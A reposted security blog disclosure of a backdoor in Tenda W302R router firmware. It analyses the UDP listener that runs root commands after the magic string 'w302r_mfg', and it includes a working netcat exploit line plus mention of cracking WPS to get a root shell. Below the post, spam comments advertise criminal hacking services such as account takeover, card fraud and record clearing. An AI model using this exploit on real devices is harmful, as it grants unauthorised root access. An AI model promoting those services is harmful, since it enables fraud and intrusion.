Loading...

From China, With Love

Lest anyone think that D-Link is the only vendor who puts backdoors in their products, here’s one that can be exploited with a single UDP packet, courtesy of Tenda.
After extracting the latest firmware for Tenda’s W302R wireless router, I started looking at /bin/httpd, which turned out to be the GoAhead webserver:
Server header string in /bin/httpd
Server header string in /bin/httpd
But Tenda has made a lot of special modifications themselves. Just before entering the HTTP receive loop, main calls InitMfgTask, which spawns the MfgThread function as a separate thread:
pthread_create(&var_10, 0, MfgThread, 0);
pthread_create(&var_10, 0, MfgThread, 0);
Hmmm…InitMfgTask and MfgThread? Related to manufacturing tasks perhaps? Iiiiiinteresting…
The first thing MfgThread does is create a UDP socket and bind it to port 7329:
Create UDP socket and bind to port 7329
Create UDP socket and bind to port 7329
The thread then goes into a recvfrom loop, reading up to 128 bytes from the socket. It expects each received UDP packet to be at least 14 bytes in length:
Read packet from socket and check packet size
Read packet from socket and check packet size
Now for the fun part; the received UDP packet is then parsed by this block of code:
Processing the received packet
Processing the received packet
In C, this code reads:
memset(rx_magic_string, 0, 0x80);
memset(command_byte, 0, 0x80);
memset(command_arg, 0, 0x80);

memcpy(rx_magic_string, rx_buf, 9);
command_byte[0] = rx_buf[11];
memcpy(command_arg, rx_buf+12, rx_size-12);

// If magic string doesn't match, stop processing this packet and wait for another packet
if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop;
We can see that the thread is expecting a packet with the following structure:
struct command_packet_t
{
    char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte
    char command_byte;
    char command_arg[117];
};
As long as the received packet starts with the string “w302r_mfg”, the code then compares the specified command byte against three ASCII characters (’1′, ‘x’, and ‘e’):
Comparing command_byte to '1', 'x' and 'e'
Comparing command_byte to ’1′, ‘x’ and ‘e’
For simplicity, I’ve converted the remaining disassembly (at least the important bits) to the following C code:
switch(command_byte)
{
    case 'e':
        strcpy(tx_buf, "w302r_mfg");
        tx_size = 9;
        break;
    case '1':
        if(strstr(command_arg, "iwpriv") != NULL)
            tx_size = call_shell(command_arg, tx_buf, 0x800);
        else
            strcpy(tx_buf, "000000");
            tx_size = strlen(tx_buf);
        break;
    case 'x':
        tx_size = call_shell(command_arg, tx_buf, 0x800);
        break;
    default:
        goto outer_receive_loop;
}

sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16);
goto outer_receive_loop;
The following actions correspond to the three accepted command bytes:
  • ‘e’ – Responds with a pre-defined string, basically a ping test
  • ’1′ – Intended to allow you to run iwpriv commands
  • ‘x’ – Allows you to run any command, as root
If ‘x’ is specified as the command byte, the remainder of the packet after the command byte (called command_arg in the above code) is passed to call_shell, which executes the command via popen:
popen(command_arg, "r");
popen(command_arg, “r”);
What’s more, call_shell populates the tx_buf buffer with the output from the command, which, as we can see from the previous C code, is sent back to the client!
Knowing the functionality of MfgThread and its expected packet structure, we can easily exercise this backdoor with netcat:
$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329
drwxr-xr-x    2 0        0            1363 webroot
drwxr-xr-x    1 0        0               0 var
drwxr-xr-x    5 0        0              43 usr
drwxr-xr-x    1 0        0               0 tmp
drwxr-xr-x    2 0        0               3 sys
drwxr-xr-x    2 0        0             569 sbin
dr-xr-xr-x   39 0        0               0 proc
drwxr-xr-x    2 0        0               3 mnt
drwxr-xr-x    1 0        0               0 media
drwxr-xr-x    4 0        0             821 lib
lrwxrwxrwx    1 0        0              11 init -> bin/busybox
drwxr-xr-x    2 0        0               3 home
drwxr-xr-x    7 0        0             154 etc_ro
drwxr-xr-x    1 0        0               0 etc
drwxr-xr-x    1 0        0               0 dev
drwxr-xr-x    2 1000     100           574 bin
One teensy-weensy, but ever so crucial little tiny detail is that the backdoor only listens on the LAN, thus it is not exploitable from the WAN. However, it is exploitable over the wireless network, which has WPS enabled by default with no brute force rate limiting. My shiny new ReaverPro box made relatively short work of cracking WPS, providing access to the WLAN and a subsequent root shell on the router (they also ship with a default WPA key, which you might want to try first):
ReaverPro cracking the WPS pin
ReaverPro cracking the WPS pin
Starting telnetd and getting a root shell
Starting telnetd and getting a root shell
As the magic string suggests, this backdoor was likely first implemented in Tenda’s W302R router, although it also exists in the Tenda W330R, as well as re-branded models, such as the Medialink MWN-WAPR150N. They all use the same “w302r_mfg” magic packet string.
UPDATE:
ea did a great job of grepping through various Tenda firmwares to find a lot more routers that are likely affected:http://ea.github.io/blog/2013/10/18/tenda-backdoor/
 Source: Devttys0
Trojans 3817551654845693593

Post a Comment

  1. Replies
    1. ✅MEET THE REAL HACKERS✅

      I Always Feel Bad Whenever we receive complaints from Clients About The Hackers They Met Before They Heard about us.
      These Days There Are alot of Hackers Online, You Just Have to Be Careful about who you meet for help, Because Some Of These People Are Scammers Pretending To be Hackers ❌❌❌
      You Can Always Identify Them With Their False Write Ups and False Testimonies Trying To Lure you Into their Arms.❌❌❌

      ✅COMPOSITE HACKS is here to Connect you with The Best Hackers Online So you can get saved from The Arms of the Fake Hackers❌❌

      ✅We have Legit Hackers and Private investigators at your service. 💻 Every member of our team is well experienced in their various niches with Great Skills, Technical Hacking Strategies And Positive Online Reviews And Recommendations💻🛠

      ✅We have Digital Forensic Specialists, Certified Ethical Hackers, Computer Engineers, Cyber Security Experts, Private investigators and more on our team. Our Goal is to make your digital life secure, safe and hassle-free.
      Some Of The Services we render includes:
      * Website hacking 💻
      * Facebook and social media hacking 📲
      * Database hacking, & Blog Cleaning🛠
      * Phone and Gadget Hacking 📲
      • CREDIT CARD Loading ( Strictly USA & UK Credit Cards Only) 💳
      * Clearing Of Criminal Records ❌
      * Location Tracking 📲
      and many More

      ✅We have a team of seasoned PROFESSIONALS under various skillsets when it comes to online hacking services. Our company in fact houses a separate group of specialists who are productively focussed and established authorities in different platforms. They hail from a proven track record Called “HackerOne” and have cracked even the toughest of barriers to intrude and capture or recapture all relevant data needed by our Clients. Some Of These Specialist Includes ⭐️ PETER YAWORSKI ⭐️FRANS ROSEN⭐️ JACK CABLE ⭐️JOBERT ABMA⭐️ ARNE SWINNEN ⭐️And More. All you Need To do is To Write us a Mail Then We’ll Assign any of These Hackers To You Instantly.

      Feel Free To Mail Us Anytime 📩

      📩 CONTACT:
      E-mail: compositehacks@gmail.com
      Hire a Hacker!
      Want faster service?
      Contact us!
      HackerOne©️LLC 2018.
      All Rights Reserved ®️

      ★We Treat Every Request With Utmost Confidentiality★

      Delete
    2. Need The To Hire A Hacker❓ Then contact PYTHONAX✅

      The really amazing deal about contacting PYTHONAX is that the Hack done by us can’t get traced to you, as every Hacking job we do is strongly protected by our Firewall. It’s like saying if anyone tries to trace the Hack, it will lead them to us and we block whatever actions they are doing.

      We have been Invisible to Authorities for almost a decade now and if you google PYTHONAX, not really about us comes out, you can only see comments made by us or about us.

      Another Amazing thing to you benefit from Hiring our Hackers is that you get a Legit and the best Hacking service, As we provide you with Professional Hackers who have their Hacking Areas of specialization.
      We perform every Hack there is, using special Hacking tools we get from the dark web.

      Some list of Hacking Services we provide are-:
      ▪️Phone Hacking & Cloning ✅
      ▪️Computer Hacking ✅
      ▪️Emails & Social Media Account Hacking✅
      ▪️Recovering Deleted Files✅
      ▪️Tracking & Finding People ✅
      ▪️Hunting Down Scammers✅
      ▪️Hack detecting ✅
      ▪️Stealing/Copying Files & Documents From Restricted Networks and Servers ✅
      ▪️Bitcoin Multiplication✅
      ▪️Binary Option Money Recovery ✅
      ▪️Forex Trading Money Recovery✅
      ▪️IQ Option Money Recovery✅
      And lots more......


      Whatever Hacking service you require, just give us an Email to the Emails Address provided below.
      pythonaxhacks@gmail.com
      pythonaxservices@gmail.com

      PYTHONAX.
      2020 © All Right Reserved.

      Delete
  2. Can I restore the saved back-up profile after update the firmware?

    ReplyDelete
  3. Hi Everyone, i had my friend help me hack my ex's email, facebook, whatsapp,and his phone cause i suspected he was cheating. all he asked for was a his phone number. he's email is (cyberhackpros@gmail.com)..IF u need help tell him i referred you to him and he'll help. Am sure his going to help you do it, good luck contact him via email/phone CYBERHACKPROS@GMAIL.COM or +1 512 605 1256 Tell him i reffered you.He will help youY INSTAGRAM:Cyberhackprofessionals

    ReplyDelete
  4. Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : cybergoldenhacker at gmail dot com

    ReplyDelete

emo-but-icon

Home item

Zebronics

Recommend on Google

Advertisements

Advertisements

Popular Posts

Random Posts

Recent Posts

ADS

eXTReMe Tracker